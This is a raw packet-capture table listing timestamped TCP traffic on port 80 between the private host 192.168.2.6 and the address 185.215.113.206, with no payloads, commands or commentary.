Dec 7, 2024 22:40:44.042562962 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.042592049 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.042634010 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.043457985 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.043504953 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.043534994 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.043581009 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.044344902 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.044394970 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.044433117 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.044481993 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.045274019 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.045324087 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.045383930 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.045425892 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.046241045 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.046295881 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.046355009 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.046396017 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.047194958 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.047245979 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.047301054 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.047348976 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.048207998 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.048259974 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.048305988 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.048346043 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.049053907 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.049102068 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.049266100 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.049310923 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.050029993 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.050098896 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.050134897 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.050185919 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.050964117 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.051013947 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.051054001 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.051105976 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.051901102 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.051949024 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.052042961 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.052089930 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.052872896 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.052920103 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.052956104 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.053000927 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.053781986 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.053841114 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.053891897 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.053935051 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.054722071 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.054786921 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.054820061 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.054864883 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.055717945 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.055768013 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.055838108 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.055882931 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.056653023 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.056698084 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.056752920 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.056797981 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.057554007 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.057600975 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.057638884 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.057681084 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.058549881 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.058598995 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.058656931 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.058700085 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.059456110 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.059504032 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.059591055 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.059633970 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.060394049 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.060439110 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.060486078 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.060530901 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.061342001 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.061383963 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.061444044 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.061482906 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.062300920 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.062350035 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.062386036 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.062427044 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.063261032 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.063316107 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.063349009 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.063393116 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.064184904 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.064234018 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.064318895 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.064363003 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.065119982 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.065176010 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.065220118 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.065263033 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.066071987 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.066123962 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.066188097 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.066231966 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.067023993 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.067075014 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.067111015 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.067153931 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.067955017 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.068002939 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.153398037 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.153414965 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.153527975 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.153644085 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.153688908 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.153779984 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.153820038 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.154572010 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.154639959 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.154665947 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.154707909 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.155550003 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.155596972 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.155602932 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.155638933 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.156445980 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.156497955 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.156572104 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.156618118 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.157372952 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.157422066 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.157547951 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.157588959 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.158349037 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.158396959 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.158451080 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.158494949 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.159298897 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.159346104 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.159424067 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.159466982 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.160270929 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.160319090 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.160391092 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.160458088 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.161174059 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.161228895 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.161310911 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.161349058 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.162089109 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.162134886 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.220396042 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.220410109 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.220495939 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.220844030 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.220892906 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.220976114 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.221019030 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.221646070 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.221692085 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.222060919 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.222100973 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.222138882 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.222177982 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.223001003 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.223041058 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.223054886 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.223104954 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.223913908 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.223962069 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.224108934 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.224155903 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.224836111 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.224879980 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.224921942 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.224967957 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.225776911 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.225822926 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.225934029 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.225980997 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.226717949 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.226763964 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.226856947 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.226902962 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.227886915 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.227935076 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.228020906 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.228065014 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.228604078 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.228651047 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.228688955 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.228729010 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.229590893 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.229635000 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.229665041 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.229702950 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.230499983 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.230551004 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.230624914 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.230669975 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.231518030 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.231566906 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.231601954 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.231643915 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.232367039 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.232413054 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.232480049 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.232525110 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.233352900 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.233417034 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.233453035 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.233490944 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.234250069 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.234297991 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.234337091 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.234376907 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.235344887 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.235399961 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.235480070 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.235522032 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.236264944 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.236314058 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.236404896 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.236466885 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.237092018 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.237137079 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.237183094 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.237222910 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.238123894 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.238173008 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.238230944 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.238270044 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.239016056 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.239067078 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.239095926 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.239140034 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.240106106 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.240160942 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.240370035 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.240417004 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.241324902 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.241374969 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.241405964 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.241450071 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.242055893 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.242105007 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.242136955 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.242177963 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.242763996 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.242805958 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.243006945 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.243053913 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.243693113 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.243741035 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.243787050 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.243829012 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.244652033 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.244700909 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.244766951 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.244808912 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.245579004 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.245628119 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.245748997 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.245795012 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.246519089 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.246571064 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.246659040 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.246705055 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.247560978 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.247611046 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.247683048 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.247729063 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.248482943 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.248533010 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.248558998 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.248598099 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.249437094 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.249490023 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.249500036 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.249536991 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.250330925 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.250377893 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.250425100 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.250468016 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.251317024 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.251367092 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.251394033 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.251442909 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.252170086 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.252218008 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.252285957 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.252331018 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.253130913 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.253180027 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.253329039 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.253375053 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.254237890 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.254282951 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.254456997 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.254501104 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.255027056 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.255076885 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.255115986 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.255160093 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.255978107 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.256021976 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.256057024 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.256099939 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.256913900 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.256963015 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.257114887 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.257160902 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.257874012 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.257925987 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.257967949 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.258011103 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.258790016 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.258836985 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.258909941 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.258954048 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.259727955 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.259777069 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.259831905 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.259875059 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.345585108 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.345681906 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.345721006 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.345760107 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.346076012 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.346132040 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.346139908 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.346187115 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.347004890 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.347065926 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.347081900 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.347136021 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.347949982 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.348002911 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.348037004 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.348082066 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.348913908 CET	80	49790	185.215.113.206	192.168.2.6
